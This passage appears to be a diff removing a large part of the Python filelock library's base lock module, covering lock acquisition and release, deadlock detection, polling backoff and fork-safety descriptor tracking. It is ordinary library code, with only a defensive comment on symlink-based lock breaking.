- - .. versionadded:: 3.30.0 - - """ - return self._preserve_lock_file - - @property - def on_acquired(self) -> Callable[[int], None] | None: - """ - The callback run with the borrowed lock descriptor once per physical acquisition, or ``None``. - - Native locks only. It runs after the native lock is held and backend initialization finished, before - :meth:`~BaseFileLock.acquire` returns; a raise rolls back the acquisition. :class:`SoftFileLock` rejects it. - - .. versionadded:: 3.30.0 - - """ - return self._on_acquired - - @property - def lock_file(self) -> str: - """Path to the lock file.""" - return self._context.lock_file - - @property - def timeout(self) -> float: - """ - The default timeout value, in seconds. - - .. versionadded:: 2.0.0 - - """ - return self._context.timeout - - @timeout.setter - def timeout(self, value: float | str) -> None: - """ - Change the default timeout value. - - :param value: the new value, in seconds - - """ - self._context.timeout = float(value) - - @property - def blocking(self) -> bool: - """ - Whether the locking is blocking or not. - - .. versionadded:: 3.14.0 - - """ - return self._context.blocking - - @blocking.setter - def blocking(self, value: bool) -> None: - """ - Change the default blocking value. - - :param value: the new value as bool - - """ - self._context.blocking = value - - @property - def poll_interval(self) -> float: - """ - The default polling interval, in seconds. - - .. versionadded:: 3.24.0 - - """ - return self._context.poll_interval - - @poll_interval.setter - def poll_interval(self, value: float) -> None: - """ - Change the default polling interval. - - :param value: the new value, in seconds - - """ - self._context.poll_interval = value - - @property - def lifetime(self) -> float | None: - """ - The soft marker age in seconds that permits expiry, or ``None`` to disable age-based expiry. - - A non-``None`` value permits a waiter to enter while the previous holder remains active, so it does not provide - strict mutual exclusion. Native locks ignore the value with a warning. - - .. versionadded:: 3.24.0 - - """ - return self._context.lifetime - - @lifetime.setter - def lifetime(self, value: float | None) -> None: - """ - Change the legacy age-based expiry threshold. - - :param value: the new value in seconds, or ``None`` to disable expiration - - :raises ValueError: if *value* is negative or not finite - :raises TypeError: if *value* is not ``None`` and not a real number - - """ - self._context.lifetime = _resolve_lifetime(value, type(self), stacklevel=3) - - @property - def mode(self) -> int: - """The file permissions for the lockfile.""" - return 0o644 if self._context.mode == _UNSET_FILE_MODE else self._context.mode - - @property - def has_explicit_mode(self) -> bool: - """Whether the file permissions were explicitly set.""" - return self._context.mode != _UNSET_FILE_MODE - - def _open_mode(self) -> int: - """Mode for ``os.open``: 0o666 when unset so umask and ACLs decide, otherwise the explicit mode.""" - return 0o666 if self._context.mode == _UNSET_FILE_MODE else self._context.mode - - @property - def is_locked(self) -> bool: - """ - A boolean indicating if the lock file is holding the lock currently. - - .. versionchanged:: 2.0.0 - - This was previously a method and is now a property. - - """ - _ensure_current_process() - return self._context.lock_file_fd is not None - - @property - def lock_counter(self) -> int: - """The number of times this lock has been acquired (but not yet released).""" - _ensure_current_process() - return self._context.lock_counter - - def __enter__(self) -> Self: - """ - Acquire the lock. - - :returns: the lock object - - """ - self.acquire() - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_value: BaseException | None, - traceback: TracebackType | None, - ) -> None: - """Release the lock, reconciling a release failure with any body failure per :attr:`context_error_policy`.""" - self._release_in_context(exc_value) - - def _release_in_context(self, body_error: BaseException | None) -> None: - # Release from a context-manager exit. "chain" lets a release failure propagate with the body error already in - # its __context__ (Python's default); "group" raises both as sibling leaves so neither one hides the other. - try: - self.release() - except BaseException as release_error: - if body_error is None or self._context_error_policy == "chain": - raise - _raise_body_and_release(body_error, release_error) - - def __del__(self) -> None: - """Force-release so a dropped reference never leaks a held lock.""" - if vars(self).get("_creator_pid") != os.getpid(): - return # pragma: forked child - # A finalizer must not raise. A release error during garbage collection would otherwise surface as an - # unraisable-exception warning, attributed to whichever code triggered collection. The dropped lock still gets - # best-effort cleanup; an explicit release() reports the same error to a caller who can act on it. - with contextlib.suppress(Exception): - self.release(force=True) - - def acquire( - self, - timeout: float | None = None, - poll_interval: float | None = None, - *, - poll_intervall: float | None = None, - blocking: bool | None = None, - cancel_check: Callable[[], bool] | None = None, - ) -> AcquireReturnProxy: - """ - Try to acquire the file lock. - - :param timeout: maximum wait time for acquiring the lock, ``None`` means use the default :attr:`~timeout` is and - if ``timeout < 0``, there is no timeout and this method will block until the lock could be acquired - :param poll_interval: interval of trying to acquire the lock file, ``None`` means use the default - :attr:`~poll_interval` - :param poll_intervall: deprecated, kept for backwards compatibility, use ``poll_interval`` instead - :param blocking: defaults to True. If False, function will return immediately if it cannot obtain a lock on the - first attempt. Otherwise, this method will block until the timeout expires or the lock is acquired. - :param cancel_check: a callable returning ``True`` when the acquisition should be canceled. Checked on each poll - iteration. When triggered, raises :class:`~Timeout` just like an expired timeout. - - :returns: a context object that will unlock the file when the context is exited - - :raises Timeout: if fails to acquire lock within the timeout period - - .. code-block:: python - - # You can use this method in the context manager (recommended) - with lock.acquire(): - pass - - # Or use an equivalent try-finally construct: - lock.acquire() - try: - pass - finally: - lock.release() - - .. versionchanged:: 2.0.0 - - This method returns now a *proxy* object instead of *self*, so that it can be used in a with statement - without side effects. - - """ - self._raise_if_inherited() - if timeout is None: - timeout = self._context.timeout - - if blocking is None: - blocking = self._context.blocking - - if poll_intervall is not None: - msg = "use poll_interval instead of poll_intervall" - warnings.warn(msg, DeprecationWarning, stacklevel=2) - poll_interval = poll_intervall - - poll_interval = poll_interval if poll_interval is not None else self._context.poll_interval - - start_time = time.perf_counter() - # Wait for admission before touching any state: a caller refused entry must leave the counter, the registry and - # the descriptor exactly as it found them. - with self._transition_admission( - blocking=blocking, - cancel_check=cancel_check, - timeout=timeout, - poll_interval=poll_interval, - start_time=start_time, - ): - # Bump the counter up front; _undo_acquire rolls it back if acquisition fails. - self._context.lock_counter += 1 - - canonical = _canonical(self.lock_file) - self._raise_if_would_deadlock(canonical, timeout=timeout, blocking=blocking) - - try: - self._poll_until_acquired( - blocking=blocking, - cancel_check=cancel_check, - timeout=timeout, - poll_interval=poll_interval, - start_time=start_time, - ) - except BaseException: - self._reconcile_failed_acquire(canonical) - raise - self._commit_acquire(canonical) - return AcquireReturnProxy(lock=self) - - @contextlib.contextmanager - def _transition_admission( - self, - *, - blocking: bool, - cancel_check: Callable[[], bool] | None, - timeout: float, - poll_interval: float, - start_time: float, - ) -> Generator[None]: - # One thread at a time drives the physical transition of a shared instance. A protocol that publishes several - # files per owner leaves a half-built claim visible otherwise, and a second thread would read it as a holder. - # Only such a backend opts in; a single-file backend and a thread-local context each need no gate. - if not self._serialize_transitions or self._is_thread_local: - yield - return - while not self._transition_lock.acquire(blocking=False): # pragma: needs hard-link - if not blocking or (cancel_check is not None and cancel_check()): - raise Timeout(self.lock_file) - if timeout >= 0 and time.perf_counter() - start_time >= timeout: - raise Timeout(self.lock_file) - time.sleep(poll_interval) - try: # pragma: needs hard-link - yield - finally: # pragma: needs hard-link - self._transition_lock.release() - - def release(self, force: bool = False) -> None: # ruff:ignore[boolean-type-hint-positional-argument, boolean-default-value-positional-argument] # public API: positional bool kept for backwards compatibility - """ - Release the file lock. The lock is only completely released when the lock counter reaches 0. The lock file - itself may be deleted automatically, the behavior is platform-specific. - - :param force: If true, the lock counter is ignored and the lock is released in every case. - - """ - # A shared instance releases under the same gate its acquisition ran through, so a thread entering the lock - # never observes a partially torn-down owner. - serialize = self._serialize_transitions and not self._is_thread_local - with self._transition_lock if serialize else contextlib.nullcontext(): - if self._creator_pid != os.getpid() or not self.is_locked: - return - if not force and self._context.lock_counter > 1: - self._context.lock_counter -= 1 - return - - lock_id, lock_filename = id(self), self.lock_file - _LOGGER.debug("Attempting to release lock %s on %s", lock_id, lock_filename) - try: - self._release_with_fork_tracking() - except BaseException: - # A failure after the OS unlock (during close or unlink) still released the lock: the backend cleared - # its descriptor, so commit the counter and registry to released even as the cleanup error propagates. - # A failure that left the lock held keeps the counter so a later release can retry the OS unlock. - if not self.is_locked: - self._commit_release() - raise - self._commit_release() - _LOGGER.debug("Lock %s released on %s", lock_id, lock_filename) - - def _raise_if_inherited(self) -> None: - if self._creator_pid != os.getpid(): # pragma: forked child - msg = f"{type(self).__name__} on {self.lock_file} was inherited across fork; construct a new instance" - raise RuntimeError(msg) - - def _mark_descriptor_owned(self, fd: int, identity: tuple[int, int] | None = None) -> None: - self._context.pending_lock_file_fd = None - self._context.pending_lock_file_fd_identity = None - self._context.lock_file_fd = fd - self._context.lock_file_fd_identity = identity - - def _mark_descriptor_pending(self, fd: int, identity: tuple[int, int] | None = None) -> None: - self._context.pending_lock_file_fd = fd - self._context.pending_lock_file_fd_identity = identity - - def _mark_descriptor_released(self) -> None: - self._context.pending_lock_file_fd = None - self._context.pending_lock_file_fd_identity = None - self._context.lock_file_fd = None - self._context.lock_file_fd_identity = None - - def _reset_after_fork_in_child(self) -> None: # pragma: forked child - # fork copies the lock in whatever state the parent's threads left it, so give the child an unheld one. - self._transition_lock = RLock() - self._context.owner_claim_paths = () - self._context.claim_root = None - self._context.lock_file_fd = None - self._context.lock_file_fd_token = None - self._context.lock_file_fd_identity = None - self._context.pending_lock_file_fd = None - self._context.pending_lock_file_fd_identity = None - self._context.lock_counter = 0 - self._context.lock_file_key = None - - def _descriptors_for_fork(self) -> tuple[tuple[int, tuple[int, int] | None], ...]: # pragma: needs fork - descriptors: list[tuple[int, tuple[int, int] | None]] = [] - if self._context.lock_file_fd is not None and self._context.lock_file_fd_token is None: - descriptors.append((self._context.lock_file_fd, self._context.lock_file_fd_identity)) - if self._context.pending_lock_file_fd is not None: - descriptors.append((self._context.pending_lock_file_fd, self._context.pending_lock_file_fd_identity)) - return tuple(descriptors) - - def _raise_if_would_deadlock(self, canonical: str, *, timeout: float, blocking: bool) -> None: - """ - Fail fast when a *different* live instance already holds this path in the current deadlock scope. - - Only the first, indefinitely-blocking acquire can self-deadlock this way: waiting in the OS primitive would - block on a lock this flow already owns. A finite timeout or ``blocking=False`` keeps the normal Timeout path. - """ - would_block = self._context.lock_counter == 1 and not self.is_locked and timeout < 0 and blocking - if would_block and _registry.held.get(self._registry_key(canonical)) not in {None, id(self)}: - self._context.lock_counter -= 1 - msg = ( - f"Deadlock: lock '{self.lock_file}' is already held by a different {self._deadlock_holder_desc}. " - f"Use is_singleton=True to enable reentrant locking across instances." - ) - raise RuntimeError(msg) - - def _registry_key(self, canonical: str) -> Hashable: - return canonical if (scope := self._deadlock_scope()) is None else (scope, canonical) - - @staticmethod - def _deadlock_scope() -> Hashable | None: - """ - Execution unit whose own hold would deadlock a new acquire. - - ``None`` scopes holders to the thread, which the thread-local registry already separates. Async locks - override it with the running task, since one event loop thread runs many tasks and only a reacquire from - the *same* task can self-deadlock. - """ - return None - - def _poll_until_acquired( - self, - *, - blocking: bool, - cancel_check: Callable[[], bool] | None, - timeout: float, - poll_interval: float, - start_time: float, - ) -> None: - lock_id = id(self) - lock_filename = self.lock_file - attempt = 0 - while True: - self._raise_if_inherited() - if not self.is_locked: - self._try_break_expired_lock() - _LOGGER.debug("Attempting to acquire lock %s on %s", lock_id, lock_filename) - self._acquire_with_fork_tracking() - self._raise_if_inherited() - if self.is_locked: - _LOGGER.debug("Lock %s acquired on %s", lock_id, lock_filename) - return - if self._check_give_up( - blocking=blocking, - cancel_check=cancel_check, - timeout=timeout, - start_time=start_time, - ): - raise Timeout(lock_filename) - attempt += 1 - delay = self._poll_delay(poll_interval, attempt) - msg = "Lock %s not acquired on %s, waiting %s seconds ..." - _LOGGER.debug(msg, lock_id, lock_filename, delay) - time.sleep(delay) - - def _poll_delay(self, poll_interval: float, attempt: int) -> float: - # A single-file lock retries on a fixed cadence. A backend that publishes several files per acquisition sets a - # cap, and then contending processes back off across a jittered, exponentially widening window instead of - # colliding on every poll; poll_interval stays the floor so a lone waiter is still responsive. - if not self._poll_backoff_cap: - return poll_interval - # Cap the exponent before doubling: under heavy contention attempt reaches the thousands, and 2**attempt would - # overflow the float multiply long before the window itself stops growing past the cap. - window = min( - self._poll_backoff_cap, poll_interval * 2 ** min(attempt, _MAX_BACKOFF_EXPONENT) - ) # pragma: needs hard-link - return max(poll_interval, secrets.randbelow(int(window * 1_000_000) + 1) / 1_000_000) # pragma: needs hard-link - - def _reconcile_failed_acquire(self, canonical: str) -> None: - # An acquire that raised while still holding the native lock (a hook that failed and whose rollback could not - # release) must keep the registry entry so a later release can retry the OS unlock; otherwise roll the counter - # back. is_locked was already reconciled by whichever release ran. - if self.is_locked: - self._commit_acquire(canonical) - else: - self._undo_acquire() - - def _invoke_on_acquired(self) -> None: - # The wrapper runs in the backend executor for async locks, preserving the callback's documented thread. - if self._on_acquired is None or self._context.lock_counter != 1: - return - try: - self._on_acquired(cast("int", self._context.lock_file_fd)) - except BaseException as callback_error: # arbitrary caller code; roll back on any failure - callback_context = callback_error.__context__ - try: - self._release_with_fork_tracking() - except BaseException as release_error: # ruff:ignore[blind-except] # both errors surface via the group below - _raise_body_and_release(callback_error, release_error) - callback_error.__context__ = callback_context - raise - - def _acquire_with_fork_tracking(self) -> None: - with _fork_transition(self): - try: - self._acquire() - except BaseException as acquisition_error: - self._rollback_failed_acquire(acquisition_error) - raise - try: - self._register_context_descriptor() - except BaseException as registration_error: # pragma: needs fork - self._rollback_failed_registration(registration_error) - raise - if self.is_locked: - self._invoke_on_acquired() - - def _rollback_failed_acquire(self, acquisition_error: BaseException) -> None: - if not self.is_locked: - return - registration_error: BaseException | None = None - tracking_error: BaseException | None = None - try: - self._register_context_descriptor() - except BaseException as error: # ruff:ignore[blind-except] # preserve registration and acquisition failures - registration_error = error - try: - # Rollback may fail too; retain the fd so a child can close it without another identity probe. - self._register_unverified_context_descriptor() - except BaseException as error: # ruff:ignore[blind-except] # pragma: no cover - allocation/control-flow during fallback - tracking_error = error - try: - self._release_with_fork_tracking() - except BaseException as rollback_error: # ruff:ignore[blind-except] # preserve rollback and acquisition failures - _raise_cleanup_errors( - "lock acquisition cleanup failed", - acquisition_error, - registration_error, - tracking_error, - rollback_error, - ) - if registration_error is not None: # pragma: needs fork - _raise_cleanup_errors( - "lock acquisition cleanup failed", acquisition_error, registration_error, tracking_error - ) - - def _rollback_failed_registration(self, registration_error: BaseException) -> None: # pragma: needs fork - tracking_error: BaseException | None = None - try: - # Rollback may fail too; retain the fd so a child can close it without another identity probe. - self._register_unverified_context_descriptor() - except BaseException as error: # ruff:ignore[blind-except] # pragma: no cover - allocation/control-flow during fallback - tracking_error = error - try: - self._release_with_fork_tracking() - except BaseException as rollback_error: # ruff:ignore[blind-except] # preserve rollback and registration failures - _raise_cleanup_errors( - "descriptor registration cleanup failed", registration_error, tracking_error, rollback_error - ) - if tracking_error is not None: # pragma: no cover - requires failed in-memory fallback - _raise_cleanup_errors("descriptor registration cleanup failed", registration_error, tracking_error) - - def _release_with_fork_tracking(self) -> None: - with _fork_transition(self): - try: - self._release() - finally: - self._unregister_released_descriptor() - - def _register_context_descriptor(self) -> None: - if self._context.lock_file_fd is not None and self._context.lock_file_fd_token is None: - self._context.lock_file_fd_token = _register_owned_descriptor( - self._context.lock_file_fd, - self._context.lock_file_fd_identity, - ) - - def _register_unverified_context_descriptor(self) -> None: - # The rollback only reaches here still holding a descriptor it never managed to register. - if self._context.lock_file_fd is not None and self._context.lock_file_fd_token is None: # pragma: no branch - self._context.lock_file_fd_token = _register_unverified_owned_descriptor(self._context.lock_file_fd) - - def _unregister_released_descriptor(self) -> None: - if self._context.lock_file_fd is None: - if (token := self._context.lock_file_fd_token) is not None: # pragma: needs fork - _unregister_owned_descriptor(token) - self._context.lock_file_fd_token = None - self._context.lock_file_fd_identity = None - - def _undo_acquire(self) -> None: - """Roll back the counter after a failed acquire, dropping the registry entry once nothing holds the path.""" - self._context.lock_counter = max(0, self._context.lock_counter - 1) - if self._context.lock_counter == 0: - self._drop_registry_entry() - - def _commit_acquire(self, canonical: str) -> None: - """Record this instance as the holder once the first acquire succeeds, so peers can detect the deadlock.""" - if self._context.lock_counter == 1: - key = self._registry_key(canonical) - # The holder scope is resolved once at commit so a later release from another flow drops the right entry. - self._context.lock_file_key = key - _registry.held[key] = id(self) - - def _drop_registry_entry(self) -> None: - """Forget the key owned by this hold without resolving a mutable path again.""" - key = self._context.lock_file_key - self._context.lock_file_key = None - if key is not None: - _registry.held.pop(key, None) - - def _commit_release(self) -> None: - """Record the lock as fully released: reset the recursion counter and drop the deadlock-registry entry.""" - self._context.lock_counter = 0 - self._drop_registry_entry() - - def _try_break_expired_lock(self) -> None: - """Remove the lock file if its modification time exceeds the configured :attr:`lifetime`.""" - if (lifetime := self._context.lifetime) is None: - return - with contextlib.suppress(OSError): - # lstat, not stat: an attacker with write access to the lock directory can replace a held - # lock file with a symlink pointing at an old file, making stat() report the target's stale - # mtime so a waiter breaks a live lock and two processes hold it at once. lstat reads the - # symlink's own mtime, matching the O_NOFOLLOW reads elsewhere. - st = os.lstat(self.lock_file) - if time.time() - st.st_mtime < lifetime: - return - break_lock_file(self.lock_file, st.st_mtime, st.st_ino) - - def _check_give_up( - self, - *, - blocking: bool, - cancel_check: Callable[[], bool] | None, - timeout: float, - start_time: float, - ) -> bool: - lock_id, lock_filename = id(self), self.lock_file - if blocking is False: - _LOGGER.debug("Failed to immediately acquire lock %s on %s", lock_id, lock_filename) - return True - if cancel_check is not None and cancel_check(): - _LOGGER.debug("Cancellation requested for lock %s on %s", lock_id, lock_filename) - return True - if 0 <= timeout < time.perf_counter() - start_time: - _LOGGER.debug("Timeout on acquiring lock %s on %s", lock_id, lock_filename) - return True - return False - - @abstractmethod - def _acquire(self) -> None: - """If the file lock could be acquired, self._context.lock_file_fd holds the file descriptor of the lock file.""" - raise NotImplementedError - - @abstractmethod - def _release(self) -> None: - """Releases the lock and sets self._context.lock_file_fd to None.""" - raise NotImplementedError - - -# acquire() returns this wrapper instead of self so entering the with-statement does not call __enter__ a second -# time; returning self would re-acquire the lock in BaseFileLock.__enter__ without a matching release (issue #37). -class AcquireReturnProxy: - """A context-aware object that will release the lock file when exiting.""" - - def __init__(self, lock: BaseFileLock | ReadWriteLock | SoftReadWriteLock) -> None: - self.lock: BaseFileLock | ReadWriteLock | SoftReadWriteLock = lock - - def __enter__(self) -> BaseFileLock | ReadWriteLock | SoftReadWriteLock: - return self.lock - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_value: BaseException | None, - traceback: TracebackType | None, - ) -> None: - if isinstance(self.lock, BaseFileLock): - self.lock._release_in_context(exc_value) # ruff:ignore[private-member-access] # forwards __exit__ to the owned lock's context release - else: # a reader/writer lock does not carry a context_error_policy - self.lock.release() - - -@dataclass -class FileLockContext: - """Holds the context for a ``BaseFileLock`` object.""" - - # A separate class so ThreadLocalFileContext can make the whole context thread-local. - - lock_file: str - timeout: float - mode: int - blocking: bool - poll_interval: float - - #: The lock lifetime in seconds; ``None`` means the lock never expires. - lifetime: float | None = None - - #: File descriptor from os.open for the lock file; not None while the lock is held. - lock_file_fd: int | None = None - - #: Registry token for the descriptor owned by this thread's context. - lock_file_fd_token: int | None = None - - #: Identity captured by a backend that already inspected the descriptor. - lock_file_fd_identity: tuple[int, int] | None = None - - #: Descriptor opened by a backend but not yet committed as the held lock. - pending_lock_file_fd: int | None = None - - #: Identity captured for a descriptor whose acquisition has not committed. - pending_lock_file_fd_identity: tuple[int, int] | None = None - - #: Depth of nested acquisitions; the lock is released only when it returns to 0. - lock_counter: int = 0 - - #: Canonical registry key captured when the first physical acquisition commits. - lock_file_key: Hashable | None = None - - #: Claim pathnames this owner published, removed by name on release so no holder ever unlinks a peer's claim. - owner_claim_paths: tuple[str, ...] = () - - #: Canonical lock path resolved when an acquisition starts. A waiter polling a relative path must keep publishing - #: into the directory it started in, even when another thread changes the working directory mid-wait. - claim_root: str | None = None - - -class ThreadLocalFileContext(FileLockContext, local): - """A thread local version of the ``FileLockContext`` class.""" - - -@dataclass(frozen=True) -class _OwnedDescriptor: - fd: int - creator_pid: int - device: int | None - inode: int | None - - -class _ForkTransitionContext(local): - depth: int = 0 - - -class _ForkState: - def __init__(self) -> None: - self.gate = Condition(RLock()) - self.registry_lock = RLock() - self.parameter_models_lock = RLock() - self.transition_context = _ForkTransitionContext() - self.transitions: dict[int, dict[int, _ForkDescriptorOwner | None]] = {} - self.active_transitions = 0 - self.admission_closed = False - self.fork_owner_depths: dict[int, int] = {} - self.pinned_objects: dict[int, list[tuple[_ForkResettable, ...]]] = {} - self.pinned_classes: dict[int, list[tuple[_ForkResettableClass, ...]]] = {} - self.provisional_descriptor_tokens: dict[int, list[tuple[int, ...]]] = {} - self.pid = os.getpid() - - def reset_synchronization(self) -> None: # pragma: forked child - self.gate = Condition(RLock()) - self.registry_lock = RLock() - self.parameter_models_lock = RLock() - self.transition_context = _ForkTransitionContext() - self.transitions = {} - self.active_transitions = 0 - self.admission_closed = False - self.fork_owner_depths = {} - self.pinned_objects = {} - self.pinned_classes = {} - self.provisional_descriptor_tokens = {} - - -_FORK_OBJECTS: Final[WeakValueDictionary[int, _ForkResettable]] = WeakValueDictionary() -_FORK_CLASSES: Final[WeakValueDictionary[int, _ForkResettableClass]] = WeakValueDictionary() -_OWNED_DESCRIPTORS: Final[dict[int, _OwnedDescriptor]] = {} -_DESCRIPTOR_TOKENS: Final[count[int]] = count() -_TRANSITION_TOKENS: Final[count[int]] = count() -_FORK_STATE: Final = _ForkState() -_FORK_AUDIT_EVENTS: Final[frozenset[str]] = frozenset({"os.fork", "os.forkpty"}) - - -def _register_fork_hooks() -> None: - if _REGISTER_AT_FORK is None: - return # pragma: lacks fork - sys.addaudithook(_audit_fork_safety) # pragma: needs fork - _REGISTER_AT_FORK( # pragma: needs fork - before=_pin_fork_objects, - after_in_parent=_resume_parent_after_fork, - after_in_child=_reset_child_after_fork, - ) - - -@contextmanager -def _fork_transition(descriptor_owner: _ForkDescriptorOwner | None = None) -> Generator[None]: - if not _HAS_REGISTER_AT_FORK: - yield # pragma: lacks fork - return # pragma: lacks fork - _ensure_current_process() # pragma: needs fork - creator_pid = os.getpid() # pragma: needs fork - token = _enter_fork_transition(descriptor_owner) # pragma: needs fork - try: # pragma: needs fork - yield - finally: - if os.getpid() == creator_pid: # pragma: needs fork - _leave_fork_transition(token) - - -def _register_fork_object(instance: _ForkResettable) -> None: - if not _HAS_REGISTER_AT_FORK: - return # pragma: lacks fork - with _fork_transition(), _FORK_STATE.registry_lock: # pragma: needs fork - _FORK_OBJECTS[id(instance)] = instance - _refresh_owner_pins() - - -def _register_fork_class(cls: _ForkResettableClass) -> None: - if not _HAS_REGISTER_AT_FORK: - return # pragma: lacks fork - with _fork_transition(), _FORK_STATE.registry_lock: # pragma: needs fork - _FORK_CLASSES[id(cls)] = cls - _refresh_owner_pins() - - -def _register_owned_descriptor(fd: int, identity: tuple[int, int] | None = None) -> int | None: - if not _HAS_REGISTER_AT_FORK: - return None # pragma: lacks fork - with _fork_transition(): # pragma: needs fork - if identity is None: - stat_result = os.fstat(fd) - identity = stat_result.st_dev, stat_result.st_ino - return _record_owned_descriptor(fd, identity) - - -def _register_unverified_owned_descriptor(fd: int) -> int | None: - if not _HAS_REGISTER_AT_FORK: - return None # pragma: lacks fork - with _fork_transition(): # pragma: needs fork - return _record_owned_descriptor(fd, None) - - -def _record_owned_descriptor(fd: int, identity: tuple[int, int] | None) -> int: # pragma: needs fork - with _FORK_STATE.registry_lock: - token = next(_DESCRIPTOR_TOKENS) - _OWNED_DESCRIPTORS[token] = _OwnedDescriptor( - fd=fd, - creator_pid=os.getpid(), - device=None if identity is None else identity[0], - inode=None if identity is None else identity[1], - ) - return token - - -def _unregister_owned_descriptor(token: int) -> None: # pragma: needs fork - with _fork_transition(), _FORK_STATE.registry_lock: - _OWNED_DESCRIPTORS.pop(token, None) - - -def _pin_fork_objects() -> None: # pragma: needs fork - _ensure_current_process() - thread_id = get_ident() - with _FORK_STATE.gate: - _FORK_STATE.fork_owner_depths[thread_id] = _FORK_STATE.fork_owner_depths.get(thread_id, 0) + 1 - _FORK_STATE.admission_closed = True - while _FORK_STATE.active_transitions > len(_FORK_STATE.transitions.get(thread_id, ())): - _FORK_STATE.gate.wait() - transition_owners = tuple(_FORK_STATE.transitions.get(thread_id, {}).values()) - _verify_unverified_descriptors() - owners = {id(owner): owner for owner in transition_owners if owner is not None} - provisional_descriptor_tokens = tuple( - starmap( - _snapshot_descriptor_for_fork, - (descriptor for owner in owners.values() for descriptor in owner._descriptors_for_fork()), # ruff:ignore[private-member-access] # snapshots each owner's own fork descriptors - ) - ) - with _FORK_STATE.registry_lock: - _FORK_STATE.provisional_descriptor_tokens.setdefault(thread_id, []).append(provisional_descriptor_tokens) - _FORK_STATE.pinned_objects.setdefault(thread_id, []).append(tuple(_FORK_OBJECTS.values())) - _FORK_STATE.pinned_classes.setdefault(thread_id, []).append(tuple(_FORK_CLASSES.values())) - - -def _resume_parent_after_fork() -> None: # pragma: needs fork - thread_id = get_ident() - with _FORK_STATE.registry_lock: - for token in _FORK_STATE.provisional_descriptor_tokens[thread_id].pop(): - _OWNED_DESCRIPTORS.pop(token, None) - _FORK_STATE.pinned_objects[thread_id].pop() - _FORK_STATE.pinned_classes[thread_id].pop() - if not _FORK_STATE.provisional_descriptor_tokens[thread_id]: # pragma: needs fork - del _FORK_STATE.provisional_descriptor_tokens[thread_id] - del _FORK_STATE.pinned_objects[thread_id] - del _FORK_STATE.pinned_classes[thread_id] - with _FORK_STATE.gate: - if _FORK_STATE.fork_owner_depths[thread_id] == 1: - del _FORK_STATE.fork_owner_depths[thread_id] - else: # pragma: no cover - earlier at-fork callbacks may deadlock first - _FORK_STATE.fork_owner_depths[thread_id] -= 1 - _FORK_STATE.admission_closed = bool(_FORK_STATE.fork_owner_depths) - _FORK_STATE.gate.notify_all() - - -def _ensure_current_process() -> None: - _reset_child_after_fork() - - -def _reset_child_after_fork() -> None: # pragma: forked child - if (pid := os.getpid()) == _FORK_STATE.pid: - return - thread_id = get_ident() - pinned_objects = _FORK_STATE.pinned_objects.get(thread_id, [()])[-1] - pinned_classes = _FORK_STATE.pinned_classes.get(thread_id, [()])[-1] - descriptors: list[_OwnedDescriptor] = [] - for token, descriptor in tuple(_OWNED_DESCRIPTORS.items()): - if descriptor.creator_pid != pid: - descriptors.append(_OWNED_DESCRIPTORS.pop(token)) - _FORK_STATE.reset_synchronization() - _FORK_STATE.pid = pid - _INIT_PARAMETER_MODELS.clear() - _detach_child_state(descriptors, pinned_objects, pinned_classes) - - -def _enter_fork_transition(descriptor_owner: _ForkDescriptorOwner | None) -> int: # pragma: needs fork - thread_id = get_ident() - with _FORK_STATE.gate: - while ( - _FORK_STATE.admission_closed - and thread_id not in _FORK_STATE.fork_owner_depths - and thread_id not in _FORK_STATE.transitions - ): - _FORK_STATE.gate.wait() # pragma: no cover - exercised in isolated interpreter - token = next(_TRANSITION_TOKENS) - _FORK_STATE.transitions.setdefault(thread_id, {})[token] = descriptor_owner - _FORK_STATE.active_transitions += 1 - _FORK_STATE.transition_context.depth += 1 - return token - - -def _leave_fork_transition(token: int) -> None: # pragma: needs fork - _FORK_STATE.transition_context.depth -= 1 - with _FORK_STATE.gate: - thread_id = get_ident() - del _FORK_STATE.transitions[thread_id][token] - if not _FORK_STATE.transitions[thread_id]: - del _FORK_STATE.transitions[thread_id] - _FORK_STATE.active_transitions -= 1 - _FORK_STATE.gate.notify_all() - - -def _verify_unverified_descriptors() -> None: # pragma: needs fork - with _FORK_STATE.registry_lock: - for token, descriptor in tuple(_OWNED_DESCRIPTORS.items()): - if descriptor.creator_pid != os.getpid() or descriptor.device is not None: - continue - try: - stat_result = os.fstat(descriptor.fd) - except OSError: - continue - _OWNED_DESCRIPTORS[token] = _OwnedDescriptor( - fd=descriptor.fd, - creator_pid=descriptor.creator_pid, - device=stat_result.st_dev, - inode=stat_result.st_ino, - ) - - -def _snapshot_descriptor_for_fork(fd: int, identity: tuple[int, int] | None) -> int: # pragma: needs fork - if identity is None: # pragma: needs fork - try: - stat_result = os.fstat(fd) - except OSError: - pass - else: - identity = stat_result.st_dev, stat_result.st_ino - return _record_owned_descriptor(fd, identity) - - -def _detach_child_state( # pragma: forked child - descriptors: list[_OwnedDescriptor], - pinned_objects: tuple[_ForkResettable, ...], - pinned_classes: tuple[_ForkResettableClass, ...], -) -> None: - for descriptor in descriptors: - if descriptor.device is None: - continue - try: - stat_result = os.fstat(descriptor.fd) - except OSError: - continue - if (stat_result.st_dev, stat_result.st_ino) != (descriptor.device, descriptor.inode): - continue - with contextlib.suppress(OSError): - os.close(descriptor.fd) - for instance in pinned_objects: - instance._reset_after_fork_in_child() # ruff:ignore[private-member-access] # resets each pinned instance in the fork child - for cls in pinned_classes: - cls._reset_class_after_fork() - _registry.held.clear() - - -def _refresh_owner_pins() -> None: # pragma: needs fork - with _FORK_STATE.gate: - fork_owner_thread_ids = tuple(_FORK_STATE.fork_owner_depths) - if get_ident() not in fork_owner_thread_ids: # pragma: no cover - at-fork callbacks disable tracing - return - objects = tuple(_FORK_OBJECTS.values()) - classes = tuple(_FORK_CLASSES.values()) - for thread_id in fork_owner_thread_ids: - if object_snapshots := _FORK_STATE.pinned_objects.get(thread_id): # pragma: needs fork - object_snapshots[:] = [objects] * len(object_snapshots) - _FORK_STATE.pinned_classes[thread_id][:] = [classes] * len(object_snapshots) - - -# The defaults capture the module globals: the hook outlives them at interpreter shutdown, where CPython wipes the -# module dict to None before the final audit events fire. -def _audit_fork_safety( # pragma: no cover - CPython disables tracing while Python audit hooks run - event: str, - _args: Unused, - *, - _fork_events: frozenset[str] = _FORK_AUDIT_EVENTS, - _state: _ForkState = _FORK_STATE, -) -> None: - if event in _fork_events: - if _state.transition_context.depth or _state.fork_owner_depths: - msg = f"{event} is unsafe while filelock is changing descriptor ownership" - raise RuntimeError(msg) - elif event == "_posixsubprocess.fork_exec" and _state.transition_context.depth: - msg = "fork_exec is unsafe while filelock is changing descriptor ownership" - raise RuntimeError(msg) - - -_register_fork_hooks() - - -__all__ = [ - "_UNSET_FILE_MODE", - 